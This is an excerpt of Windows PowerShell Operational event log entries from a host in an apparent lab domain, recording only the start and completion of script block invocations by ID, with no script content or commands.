Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037955
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037949
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037927
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037925
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037924
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037908
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037907
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
